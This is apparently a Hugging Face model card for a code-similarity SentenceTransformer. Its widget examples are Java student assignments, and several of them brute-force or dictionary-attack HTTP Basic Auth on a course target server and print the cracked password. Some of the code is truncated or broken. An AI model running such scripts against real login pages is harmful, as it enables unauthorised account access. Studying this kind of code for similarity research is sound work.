buelfhood's picture
Add new SentenceTransformer model
9e51e85 verified
---
tags:
- sentence-transformers
- sentence-similarity
- feature-extraction
- generated_from_trainer
- dataset_size:38664
- loss:MultipleNegativesRankingLoss
base_model: microsoft/unixcoder-base-unimodal
widget:
- source_sentence: "\n\nimport java.net.*;\nimport java.io.*;\n\npublic class sendMail\
\ {\n\npublic void sendMail(String mailServer, String recipient, String result)\
\ {\n try {\n Socket s = new Socket(mailServer, 25);\n BufferedReader\
\ in = new BufferedReader\n (new InputStreamReader(s.getInputStream(),\
\ \"8859_1\"));\n BufferedWriter out = new BufferedWriter\n (new\
\ OutputStreamWriter(s.getOutputStream(), \"8859_1\"));\n\n send(in, out,\
\ \"HELO client\");\n\n send(in, out, \"MAIL FROM: <WatchDog@SecureECommerce.>\"\
);\n send(in, out, \"RCPT : \" + recipient);\n send(in, out, \"DATA\"\
);\n send(out, \"Subject: \");\n send(out, \"From: Admin <WatchDog@SecureECommerce.>\"\
);\n send (out, \"\\n\");\n \n send(out, result);\n send(out,\
\ \"\\n.\\n\");\n send(in, out, \"QUIT\");\n\n }\n catch (Exception\
\ e) {\n e.printStackTrace();\n }\n }\n\n public void send(BufferedReader\
\ in, BufferedWriter out, String s) {\n try {\n out.write(s + \"\\n\");\n\
\ out.flush();\n System.out.println(s);\n s = in.readLine();\n\
\ System.out.println(s);\n }\n catch (Exception e) {\n e.printStackTrace();\n\
\ }\n }\n\n public void send(BufferedWriter out, String s) {\n try {\n\
\ out.write(s + \"\\n\");\n out.flush();\n System.out.println(s);\n\
\ }\n catch (Exception e) {\n e.printStackTrace();\n }\n }\n\
}"
sentences:
- "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class BruteForce\
\ {\n\n URLConnection conn = null;\n private static boolean status = false;\n\
\n public static void main (String args[]){\n BruteForce a = new BruteForce();\n\
\ String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\",\n \
\ \t\t\t\t \"\",\n \t\t\t\t \"\"};\n int attempts = 0;\n exit:\n\
\ for (int i=0;i<pwdArray.length;i++) {\n\t\t for (int j=0;j<pwdArray.length;j++)\
\ {\n\t\t\t for (int k=0;k<pwdArray.length;k++) {\n\t\t\t\t if (pwdArray[i] ==\
\ ' ' && pwdArray[j] != ' ') continue;\n\t\t\t\t if (pwdArray[j] == ' ' && pwdArray[k]\
\ != ' ') continue;\n\t\t\t\t inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];\n\
\t\t\t\t attempts++;\n \t\t\t a.doit(inp);\n \n \t\t\t\t if (status) {\n\
\t\t\t\t\t System.out.println(\"Crrect password is: \" + inp[2]);\n\t\t\t\t\t\
\ System.out.println(\"Number of attempts = \" + attempts);\n\t\t\t\t\t break\
\ exit;\n\t\t\t \t }\n \t\t\t inp[2] = \"\";\n\t\t \t }\n\t \t }\n }\n\
\ }\n\n public void doit(String args[]) {\n \n try {\n BufferedReader\
\ in = new BufferedReader(\n new InputStreamReader\n (connectURL(new\
\ URL(args[0]), args[1], args[2])));\n String line;\n while ((line\
\ = in.readLine()) != null) {\n System.out.println(line);\n \
\ status = true;\n }\n }\n catch (IOException e) {\n \n\
\ }\n }\n\n public InputStream connectURL (URL url, String uname,\
\ String pword)\n throws IOException {\n conn = url.openConnection();\n\
\ conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n\
\ conn.connect ();\n return conn.getInputStream();\n }\n\n public\
\ String userNamePasswordBase64(String username, String password) {\n return\
\ \" \" + base64Encode (username + \":\" + password);\n }\n\n private final\
\ static char pwdArray [] = {\n\t 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',\n\
\t 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',\n\t 'q', 'r', 's', 't',\
\ 'u', 'v', 'w', 'x',\n\t 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',\n\t \
\ 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',\n\t 'O', 'P', 'Q', 'R',\
\ 'S', 'T', 'U', 'V',\n\t 'W', 'X', 'Y', 'Z', ' '\n };\n\n private final\
\ static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n\
\ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\
\ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\
\ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\
\ 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6',\
\ '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String\
\ string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes\
\ ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n \
\ byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i\
\ >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\
\ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\
\ {\n b3 = 0;\n pad = 1;\n }\n else\n\
\ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\
\ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\
\ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \
\ encodedString += base64Array [c4];\n break;\n case 1:\n\
\ encodedString += base64Array [c3];\n encodedString += \"=\"\
;\n break;\n case 2:\n encodedString += \"==\";\n \
\ break;\n }\n }\n return encodedString;\n }\n }\n\n"
- "\nimport java.io.*;\n\npublic class PasswordFile {\n \n private String\
\ strFilepath;\n private String strCurrWord;\n private File fWordFile;\n\
\ private BufferedReader in;\n \n \n public PasswordFile(String filepath)\
\ {\n strFilepath = filepath;\n try {\n fWordFile = new\
\ File(strFilepath);\n in = new BufferedReader(new FileReader(fWordFile));\n\
\ }\n catch(Exception e)\n {\n System.out.println(\"\
Could not open file \" + strFilepath);\n }\n }\n \n String getPassword()\
\ {\n return strCurrWord;\n }\n \n String getNextPassword() {\n\
\ try {\n strCurrWord = in.readLine();\n \n \
\ \n \n }\n catch (Exception e)\n {\n \
\ \n return null;\n }\n \n return\
\ strCurrWord;\n }\n \n}\n"
- "\n\nimport java.net.*;\nimport java.io.*;\n\npublic class SendEMail {\n\n public\
\ void SendEMail(){}\n\npublic void sendMail(String recipient,String c, String\
\ subject){\n try {\n\n Socket s = new Socket(\"yallara.cs.rmit.edu.\"\
, 25);\n BufferedReader in = new BufferedReader\n (new InputStreamReader(s.getInputStream(),\
\ \"8859_1\"));\n BufferedWriter out = new BufferedWriter\n (new\
\ OutputStreamWriter(s.getOutputStream(), \"8859_1\"));\n\n send(in, out,\
\ \"HELO theWorld\");\n \n \n send(in, out, \"MAIL FROM: <watch@dog.>\"\
);\n send(in, out, \"RCPT : \"+recipient);\n send(in, out, \"DATA\"\
);\n send(out, \"Subject: \"+ subject);\n send(out, \"From: WatchDog.java\"\
);\n send (out, \"\\n\");\n \n BufferedReader reader;\n String\
\ line;\n reader = new BufferedReader(new InputStreamReader(new FileInputStream()));\n\
\ line = reader.readLine();\n while (line != null){\n send(out,\
\ line);\n line = reader.readLine();\n }\n send(out, \"\\n.\\\
n\");\n send(in, out, \"QUIT\");\n s.print();\n }\n catch (Exception\
\ e) {\n e.printStackTrace();\n }\n }\n\n public void send(BufferedReader\
\ in, BufferedWriter out, String s) {\n try {\n out.write(s + \"\\n\");\n\
\ out.flush();\n System.out.println(s);\n s = in.readLine();\n\
\ System.out.println(s);\n }\n catch (Exception e) {\n e.printStackTrace();\n\
\ }\n }\n\n public void send(BufferedWriter out, String s) {\n try {\n\
\ out.write(s + \"\\n\");\n out.flush();\n System.out.println(s);\n\
\ }\n catch (Exception e) {\n e.printStackTrace();\n }\n }\n\
}"
- source_sentence: "\n\nimport java.awt.*;\nimport java.String;\nimport java.util.*;\n\
import java.io.*;\nimport java.net.*;\n\n\n\npublic class BruteForce\n{\n private\
\ URL url;\n private HttpURLConnection connection ;\n private int stopTime\
\ = 0;\n private int startTime = 0;\n private int count = 0;\n\n public\
\ BruteForce()\n {\n System.out.println(\"Process is running...\");\n \
\ startTime = System.currentTimeMillis();\n threeLetters();\n twoLetters();\n\
\ }\n\n public static void main (String args[])\n {\n BruteForce bf\
\ = new BruteForce();\n }\n \n public void threeLetters()\n {\n String\
\ s1;\n char [] a = {'a','a','a'};\n\n for (int i0 = 0; i0 < 26; i0++)\n\
\ {\n for (int i1 = 0; i1 < 26; i1++)\n {\n for\
\ (int i2 = 0; i2 < 26; i2++)\n {\n s1 = String.valueOf((char)(a[0]\
\ + i0)) + String.valueOf((char)(a[1] + i1)) +\n\t\t String.valueOf((char)(a[2]\
\ + i2));\n decision(s1);\n count++;\n\n \
\ s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1))\
\ +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\
\ decision(s1);\n count++;\n\n s1 =\
\ String.valueOf((char)(a[0] + i0)) + (String.valueOf((char)(a[1] + i1))).toUpperCase()\
\ +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\
\ decision(s1);\n count++;\n\n s1 =\
\ (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n (String.valueOf((char)(a[1]\
\ + i1))).toUpperCase() +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\
\ decision(s1);\n count++;\n\n s1 =\
\ (String.valueOf((char)(a[0] + i0))) + (String.valueOf((char)(a[1] + i1))).toUpperCase()\
\ +\n String.valueOf((char)(a[2] + i2));\n decision(s1);\n\
\ count++;\n\n s1 = (String.valueOf((char)(a[0] +\
\ i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) +\n\t\t String.valueOf((char)(a[2]\
\ + i2));\n decision(s1);\n count++;\n\n \
\ s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1]\
\ + i1)) +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\
\ decision(s1);\n count++;\n\n s1 =\
\ (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n (String.valueOf((char)(a[1]\
\ + i1))).toUpperCase() + String.valueOf((char)(a[2] + i2));\n decision(s1);\n\
\ count++;\n }\n }\n }\n }\n \n public\
\ void twoLetters()\n {\n String s1;\n char [] a = {'a','a'};\n\n\
\ for (int i0 = 0; i0 < 26; i0++)\n {\n for (int i1 = 0; i1\
\ < 26; i1++)\n {\n s1 = String.valueOf((char)(a[0] + i0))\
\ + String.valueOf((char)(a[1] + i1));\n decision(s1);\n \
\ count++;\n\n s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1]\
\ + i1)).toUpperCase();\n decision(s1);\n count++;\n\n \
\ s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n \
\ (String.valueOf((char)(a[1] + i1))).toUpperCase();\n decision(s1);\n\
\ count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase()\
\ + String.valueOf((char)(a[1] + i1));\n decision(s1);\n \
\ count++;\n }\n }\n }\n\n \n public void decision(String\
\ s1)\n {\n if (find(s1) == 200)\n {\n stopTime = System.currentTimeMillis();\n\
\ runTime = stopTime - startTime;\n System.out.println(\"***************************************\"\
);\n System.out.println(\"\\nAttack successfully\");\n System.out.println(\"\
\\nPassword is: \" + s1);\n System.out.println(\"\\nThe contents of the\
\ Web site: \");\n displayContent(s1);\n System.out.println(\"\
\\nTime taken crack: \" + runTime + \" millisecond\");\n System.out.println(\"\
\\nNumber of attempts: \" + count);\n System.out.println();\n\n \
\ System.exit(0);\n }\n }\n \n \n public int find(String s1)\n\
\ {\n int responseCode = 0;\n try\n {\n url = new URL(\"\
http://sec-crack.cs.rmit.edu./SEC/2/\");\n connection = (HttpURLConnection)url.openConnection();\n\
\n connection.setRequestProperty(\"Authorization\",\" \" + MyBase64.encode(\"\
\" + \":\" + s1));\n\n responseCode = connection.getResponseCode();\n\n\
\ }catch (Exception e)\n {\n System.out.println(e.getMessage());\n\
\ }\n return responseCode;\n }\n\n \n public void displayContent(String\
\ pw)\n {\n BufferedReader bw = null ;\n try\n {\n url\
\ = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n connection =\
\ (HttpURLConnection)url.openConnection();\n\n connection.setRequestProperty(\"\
Authorization\",\" \" + MyBase64.encode(\"\" + \":\" + pw));\n InputStream\
\ stream = (InputStream)(connection.getContent());\n if (stream != null)\n\
\ {\n InputStreamReader reader = new InputStreamReader (stream);\n\
\ bw = new BufferedReader (reader);\n String line;\n\n\
\ while ((line = bw.readLine()) != null)\n {\n \
\ System.out.println(line);\n }\n }\n }\n \
\ catch (IOException e)\n {\n System.out.println(e.getMessage());\n\
\ }\n }\n}\n\n\n\n\n"
sentences:
- "import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\
\nclass BruteForce {\n\n String password=\"\";\n\n int num =401;\n\n\n \
\ public static void main (String[] args) {\n\n String str=\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\
;\n\n BruteForce URLcon;\n\n int length = 0;\n\n String passwd=\"\
\";\n\n int t0,t1;\n\n \n if (args.length == 0) {\n \t\n\
\ \tSystem.err.println (\n \t\t\n \t\t\"Usage : java BruteForce\
\ <username>\");\n \treturn;\n \t\n \t}\n String username\
\ = args[0];\n \n\n t0=System.currentTimeMillis();\n\n System.out.println\
\ (\" \" + new Date());\n \n System.out.println (\"Using BruteForce\
\ method attack \"+username+\"'s password.Please waiting.......\");\n\n \
\ for (int i=0;i<str.length();i++){\n\n passwd=str.substring(i,i+1);\n\
\n URLcon = new BruteForce (passwd,username);\n\n if ((URLcon.num)!=401)\
\ {\n\n \tt1=System.currentTimeMillis();\n\n System.out.println(\"\
The password: \"+ passwd);\n\n \tdouble dt =t1-t0;\n\n\n\n \
\ \tSystem.out.println(\"It took \"+ DecimalFormat.getInstance().format(dt/1000)+\
\ \" seconds.\");\n\n System.out.println (\"Finish \" + new Date());\n\
\ \n \treturn;\n\n }\n\n for\
\ (int j=0;j<str.length();j++){\n\n passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\
\n URLcon = new BruteForce (passwd,username);\n\n \
\ if ((URLcon.num)!=401) {\n\n \t t1=System.currentTimeMillis();\n\
\n System.out.println(\"The password: \"+ passwd);\n\n\n \
\ double dt =t1-t0;\n\n\n\n System.out.println(\"\
It took \"+ DecimalFormat.getInstance().format(dt/1000)+ \" seconds.\");\n \
\ System.out.println (\"Finish \" + new Date());\n \
\ \t return;\n\n }\n for (int m=0;m<str.length();m++){\n\
\n passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\
\n URLcon = new BruteForce (passwd,username);\n\n \
\ if ((URLcon.num)!=401) {\n\n \tt1=System.currentTimeMillis();\n\
\n System.out.println(\"The password: \"+ passwd);\n\n\n \
\ \t double dt =t1-t0;\n\n\n\n \tSystem.out.println(\"\
It took \"+DecimalFormat.getInstance().format(dt/1000)+ \" seconds.\");\n \
\ \n System.out.println (\"Finish \" + new\
\ Date());\n \n \t return;\n\n \
\ }\n\n\n }\n\n}\n}\n System.out.println(\" not find the\
\ password\");\n\n}\n\n public BruteForce (String password, String username){\n\
\n \t String urlString = \"http://sec-crack.cs.rmit.edu./SEC/2/\" ;\n\n \
\ \n\n try {\n\n String userPassword = username+\":\"+password ;\n\
\n String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\
\n URL url = new URL (urlString);\n\n HttpURLConnection uc = (HttpURLConnection)\
\ url.openConnection();\n\n uc.setRequestProperty (\"Authorization\", \"\
\ \" + encoding);\n\n url = uc.getResponseCode();\n\n\n }\n \
\ catch(MalformedURLException e){\n \t System.out.println(e);\n \
\ }catch(IOException e){\n System.out.println(e);\n }\n\n\n \
\ }\n}"
- "\n\n\n\npublic class HoldSharedData\n{\n private int numOfConnections\
\ = 0;\n private int startTime;\n private int totalTime = 0;\n \
\ private String[] password;\n private int pwdCount;\n\n public HoldSharedData(\
\ int time, String[] pwd, int count )\n {\n startTime = time;\n\n \
\ password = pwd;\n pwdCount = count;\n }\n\n public int getPwdCount()\n\
\ {\n return pwdCount;\n }\n\n public void setNumOfConnections(\
\ )\n {\n numOfConnections ++;\n }\n\n public int getNumOfConnections()\n\
\ {\n return numOfConnections;\n }\n\n public int getStartTime()\n\
\ {\n return startTime;\n }\n\n public void setTotalTime( int\
\ newTotalTime )\n {\n totalTime = newTotalTime;\n }\n\n public\
\ int getTotalTime()\n {\n return totalTime;\n }\n\n public String\
\ getPasswordAt( int index )\n {\n return password[index];\n }\n\
} \n"
- "\n\nimport java.awt.*;\nimport java.String;\nimport java.util.*;\nimport java.io.*;\n\
import java.net.*;\n\n\n\npublic class Dictionary\n{\n private URL url;\n \
\ private HttpURLConnection connection ;\n private int stopTime = 0;\n private\
\ int startTime = 0;\n private int count = 0;\n\n public Dictionary()\n \
\ {\n System.out.println(\"Process is running...\");\n startTime = System.currentTimeMillis();\n\
\ findWords();\n }\n\n public static void main(String args[])\n {\n\
\ Dictionary sc = new Dictionary();\n }\n \n \n public void findWords()\n\
\ {\n try\n {\n BufferedReader input = new BufferedReader(new\
\ FileReader (\"words\"));\n String text;\n while ((text = input.readLine())\
\ != null)\n {\n if ((text.length() == 3) || (text.length()\
\ == 2))\n {\n count++;\n decision(text);\n\
\ }\n\n }\n\n }\n catch (IOException io)\n \
\ {\n System.out.println(\"File Error: \" + io.getMessage());\n }\n\
\ }\n \n \n public void decision(String s1)\n {\n if (find(s1)\
\ == 200)\n {\n stopTime = System.currentTimeMillis();\n \
\ runTime = stopTime - startTime;\n System.out.println(\"***************************************\"\
);\n System.out.println(\"\\nAttack successfully\");\n System.out.println(\"\
\\nPassword is: \" + s1);\n System.out.println(\"\\nThe contents of the\
\ Web site: \");\n displayContent(s1);\n System.out.println(\"\
\\nTime taken crack: \" + runTime + \" millisecond\");\n System.out.println(\"\
\\nNumber of attempts: \" + count);\n System.out.println();\n\n \
\ System.exit(0);\n }\n }\n \n \n public int find(String s1)\n\
\ {\n int responseCode = 0;\n try\n {\n url = new URL(\"\
http://sec-crack.cs.rmit.edu./SEC/2/\");\n connection = (HttpURLConnection)url.openConnection();\n\
\n connection.setRequestProperty(\"Authorization\",\" \" + MyBase64.encode(\"\
\" + \":\" + s1));\n\n responseCode = connection.getResponseCode();\n\n\
\ }catch (Exception e)\n {\n System.out.println(e.getMessage());\n\
\ }\n return responseCode;\n }\n \n public void displayContent(String\
\ pw)\n {\n BufferedReader bw = null ;\n try\n {\n url\
\ = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n connection =\
\ (HttpURLConnection)url.openConnection();\n\n connection.setRequestProperty(\"\
Authorization\",\" \" + MyBase64.encode(\"\" + \":\" + pw));\n InputStream\
\ stream = (InputStream)(connection.getContent());\n if (stream != null)\n\
\ {\n InputStreamReader reader = new InputStreamReader (stream);\n\
\ bw = new BufferedReader (reader);\n String line;\n\n\
\ while ((line = bw.readLine()) != null)\n {\n \
\ System.out.println(line);\n }\n }\n }\n \
\ catch (IOException e)\n {\n System.out.println(e.getMessage());\n\
\ }\n }\n}\n\n\n\n\n"
- source_sentence: "\nimport java.net.*;\nimport java.io.*;\nimport java.Ostermiller.util.*;\n\
import java.util.*;\n\npublic class MyClient1 implements Runnable\n{\n private\
\ String hostname;\n private int port;\n private String filename;\n private\
\ Socket s;\n private int n;\n private InputStream sin;\n private OutputStream\
\ sout;\n private int dif;\n private String myPassword;\n private int status;\n\
\ private int myTime;\n private Dictionary myMaster;\n \n\n public MyClient1(Dictionary\
\ dic, int num, int myPort, String password)\n {\n \n hostname = new\
\ String(\"sec-crack.cs.rmit.edu.\");\n port = myPort;\n status = 0;\n\
\ myTime = 0;\n myPassword = password;\n filename = new String(\"\
/SEC/2/\");\n myMaster = 0;\n n = num;\n dif = 0;\n \n }\n\
\ public getDif()\n {\n return dif;\n }\n public int getStatus()\n\
\ {\n return status;\n }\n public void run() \n {\n String inputLine;\n\
\ String[] tokens = new String[5];\n int i;\n myTime = 0;\n \
\ finish = 0;\n start = System.currentTimeMillis();\n try\n \
\ {\n s = new Socket( hostname, port);\n }catch( UnknownHostException\
\ e)\n {\n System.out.println(\"'t find host\");\n }catch( IOException\
\ e)\n {\n System.out.println(\"Error connecting host \"+n);\n\
\t return;\n }\n while(s.isConnected() == false)\n continue;\n\
\ \n finish = System.currentTimeMillis();\n dif = finish - start;\n\
\ \n try\n {\n sin = s.getInputStream();\n }catch(\
\ IOException e)\n {\n System.out.println(\"'t open stream\");\n\
\ }\n BufferedReader fromServer = new BufferedReader(new InputStreamReader(\
\ ));\n try\n {\n sout = s.getOutputStream();\n }catch(\
\ IOException e)\n {\n System.out.println(\"'t open stream\");\n\
\ }\n \n PrintWriter toServer = new PrintWriter( new OutputStreamWriter(\
\ sout));\n toServer.print(\"GET \"+filename+\" HTTP/1.0\\r\\n\"+\"Authorization:\
\ \"+Base64.encode(\"\"+\":\"+myPassword)+\"\\r\\n\\r\\n\");\n toServer.flush();\n\
\ \n try\n {\n inputLine = fromServer.readLine();\n \
\ }catch( IOException e)\n {\n System.out.println(\"'t open stream\"\
);\n\t inputLine = null;\n }\n \n java.util.StringTokenizer \
\ = new java.util.StringTokenizer( inputLine, \" \");\n i = 0;\n while(bf.hasMoreTokens())\n\
\ {\n tokens[i] =bf .nextToken();\n\t i++;\n }\n status\
\ = Integer.parseInt( tokens[1]);\n myTime = System.currentTimeMillis();\n\
\ if( status == 200)\n {\n System.out.println(\"Ok \"+myPassword);\n\
\t myMaster.retire( this);\n }\n \n toServer.send();\n try\n\
\ {\n fromServer.recieve();\n }catch( IOException e)\n \
\ {\n System.out.println(\"'t open stream\");\n }\n try\n\
\ {\n s.connect();\n }catch( IOException e)\n {\n \
\ System.out.println(\"'t connection\");\n\t System.exit(0);\n }\n\
\ }\n public getTime()\n {\n return myTime;\n }\n \n}\n"
sentences:
- "import java.net.*;\nimport java.io.*;\nimport java.*;\nimport java.Runtime.*;\n\
import java.Object.*;\nimport java.util.*;\nimport java.util.StringTokenizer;\n\
\n\npublic class ReadFile\n{\n private StringTokenizer tokenizer;\n private\
\ BufferedReader bf;\n private String line;\n private String first;\n Vector\
\ in = new Vector();\n \n public void loadFile()throws NoSuchElementException,\
\ IOException\n {\n System.out.println(\"in loadFile\");\n try{\n bf\
\ = new BufferedReader(new FileReader(\"words\"));\n }\n catch(FileNotFoundException\
\ fe){}\n catch(IOException io){}\n while((line = bf.readLine())!=null)\n\
\ {\n\n int index = 0;\n tokenizer = new StringTokenizer(line);\n\
\ try\n\t {\n\t first = tokenizer.nextToken();\n\t \n\t \n\
\t if (first.length() == 3)\n\t {\n\t\tin.add(first);\n\t }\n\t }\n\
\ catch(NoSuchElementException n)\n\t {\n System.out.println(\"\
File Loaded Succesfully\");\n\n }\n\n }\n }\n public Vector getVector()\n\
\ {\n return in;\n }\n public static void main (String args[])\n {\n\
\ Vector v = new Vector();\n try\n {\n System.out.println(\"\
in \");\n\t ReadFile rf = new ReadFile();\n rf.loadFile();\n v =\
\ rf.getVector();\n\t \n }\n catch(IOException e)\n {\n System.out.println(e);\n\
\ }\n System.out.println(\"size:\" + v.size());\n for (int i = 0;\
\ i< v.size(); i++)\n {\n System.out.println(i+1+ \":\" + v.elementAt(i));\n\
\ }\n \n \n }\n \n}\n"
- "\nimport java.net.*;\nimport java.io.*;\nimport java.Ostermiller.util.*;\nimport\
\ java.util.*;\n\npublic class MyClient2 implements Runnable\n{\n private String\
\ hostname;\n private int port;\n private String filename;\n private Socket\
\ s;\n private int n;\n private InputStream sin;\n private OutputStream\
\ sout;\n private int dif;\n private String myPassword;\n private int status;\n\
\ private int myTime;\n private BruteForce myMaster;\n \n\n public MyClient2(BruteForce\
\ bf , int num, int myPort, String password)\n {\n \n hostname = new\
\ String(\"sec-crack.cs.rmit.edu.\");\n port = myPort;\n status = 0;\n\
\ myTime = 0;\n myPassword = password;\n filename = new String(\"\
/SEC/2/\");\n myMaster = 0;\n n = num;\n dif = 0;\n \n }\n\
\ public getDif()\n {\n return dif;\n }\n public int getStatus()\n\
\ {\n return status;\n }\n public void run() \n {\n String inputLine;\n\
\ String[] tokens = new String[5];\n int i;\n myTime = 0;\n \
\ finish = 0;\n start = System.currentTimeMillis();\n try\n \
\ {\n s = new Socket( hostname, port);\n }catch( UnknownHostException\
\ e)\n {\n System.out.println(\"'t find host\");\n }catch( IOException\
\ e)\n {\n System.out.println(\"Error connecting host \"+n);\n\
\t return;\n }\n while(s.isConnected() == false)\n continue;\n\
\ \n finish = System.currentTimeMillis();\n dif = finish - start;\n\
\ \n try\n {\n sin = s.getInputStream();\n }catch(\
\ IOException e)\n {\n System.out.println(\"'t open stream\");\n\
\ }\n BufferedReader fromServer = new BufferedReader(new InputStreamReader(\
\ ));\n try\n {\n sout = s.getOutputStream();\n }catch(\
\ IOException e)\n {\n System.out.println(\"'t open stream\");\n\
\ }\n \n PrintWriter toServer = new PrintWriter( new OutputStreamWriter(\
\ sout));\n toServer.print(\"GET \"+filename+\" HTTP/1.0\\r\\n\"+\"Authorization:\
\ \"+Base64.encode(\"\"+\":\"+myPassword)+\"\\r\\n\\r\\n\");\n toServer.flush();\n\
\ \n try\n {\n inputLine = fromServer.readLine();\n \
\ }catch( IOException e)\n {\n System.out.println(\"'t open stream\"\
);\n\t inputLine = null;\n }\n \n java.util.StringTokenizer \
\ = new java.util.StringTokenizer( inputLine, \" \");\n i = 0;\n while(sin.hasMoreTokens())\n\
\ {\n tokens[i] = sin.nextToken();\n\t i++;\n }\n status\
\ = Integer.parseInt( tokens[1]);\n myTime = System.currentTimeMillis();\n\
\ if( status == 200)\n {\n System.out.println(\"Ok \"+myPassword);\n\
\t myMaster.retire( this);\n }\n \n toServer.send();\n try\n\
\ {\n fromServer.receive();\n }catch( IOException e)\n \
\ {\n System.out.println(\"'t open stream\");\n }\n try\n\
\ {\n s.connect();\n }catch( IOException e)\n {\n \
\ System.out.println(\"'t connection\");\n\t System.exit(0);\n }\n\
\ }\n public getTime()\n {\n return myTime;\n }\n \n}\n"
- "\n\nimport java.util.*;\nimport java.text.*;\nimport java.io.*;\nimport java.*;\n\
import java.net.*;\n\npublic class WatchDog\n{\n public static void main(String\
\ args[])\n {\n String s = null;\n String webpage = \"http://www.cs.rmit.edu./students/\"\
;\n \n \n String file1 = \"file1\";\n String file2 = \"file2\"\
;\n \n try\n {\n Process p = Runtime.getRuntime().exec(\"\
wget -O \" + file1 + \" \" + webpage);\n \n BufferedReader stdInput\
\ = new BufferedReader(new \n InputStreamReader(p.getInputStream()));\n\
\n BufferedReader stdError = new BufferedReader(new \n \
\ InputStreamReader(p.getErrorStream()));\n\n \n while ((s\
\ = stdInput.readLine()) != null) { \n System.out.println(s);\n \
\ }\n \n \n while ((s = stdError.readLine())\
\ != null) { \n System.out.println(s);\n }\n \n \
\ try\n {\n p.waitFor(); \n }\n catch\
\ (InterruptedException g) \n {\n } \n }\n catch (IOException\
\ e) {\n System.out.println(\"exception happened - here's what I know:\
\ \");\n e.printStackTrace();\n System.exit(-1);\n }\n \
\ \n while (true) \n {\n try\n {\n Process\
\ p = Runtime.getRuntime().exec(\"sleep 86400\"); \n \n \
\ BufferedReader stdInput = new BufferedReader(new \n InputStreamReader(p.getInputStream()));\n\
\n BufferedReader stdError = new BufferedReader(new \n \
\ InputStreamReader(p.getErrorStream()));\n\n \n while\
\ ((s = stdInput.readLine()) != null) { \n System.out.println(s);\n\
\ }\n \n \n while ((s = stdError.readLine())\
\ != null) { \n System.out.println(s);\n }\n \
\ \n try\n {\n p.waitFor(); \n \
\ }\n catch (InterruptedException g) \n {\n \
\ } \n }\n catch (IOException e) \n {\n System.out.println(\"\
exception happened - here's what I know: \");\n e.printStackTrace();\n\
\ System.exit(-1);\n } \n try \n {\n \
\ Process p = Runtime.getRuntime().exec(\"wget -O \" + file2 + \" \" + webpage);\n\
\ \n BufferedReader stdInput = new BufferedReader(new \n\
\ InputStreamReader(p.getInputStream()));\n\n BufferedReader\
\ stdError = new BufferedReader(new \n InputStreamReader(p.getErrorStream()));\n\
\n \n while ((s = stdInput.readLine()) != null) { \n \
\ System.out.println(s);\n }\n \n \
\ \n while ((s = stdError.readLine()) != null) { \n System.out.println(s);\n\
\ }\n \n try\n {\n p.waitFor();\
\ \n }\n catch (InterruptedException g) \n {\n\
\ } \n \n }\n catch (IOException e) \n \
\ {\n System.out.println(\"exception happened - here's what I\
\ know: \");\n e.printStackTrace();\n System.exit(-1);\n\
\ }\n try \n {\n \n Process p =\
\ Runtime.getRuntime().exec(\"diff \" + file1 + \" \" + file2);\n \n\
\ BufferedReader stdInput = new BufferedReader(new \n \
\ InputStreamReader(p.getInputStream()));\n\n BufferedReader stdError\
\ = new BufferedReader(new \n InputStreamReader(p.getErrorStream()));\
\ \n \n \n while ((s = stdError.readLine())\
\ != null) { \n System.out.println(s);\n }\n \
\ \n try\n {\n p.waitFor(); \n \
\ }\n catch (InterruptedException g) \n {\n \
\ }\n \n if ((p.exitValue()) == 1) \n { \n \
\ \n String mailServerURL = \"yallara.cs.rmit.edu.\";\n\
\ String host = \"yallara.cs.rmit.edu.\";\n String\
\ from = \"@yallara.cs.rmit.edu.\";\n \n String subject\
\ = \"Change Detected In WatchDog.java\";\n \n try\n \
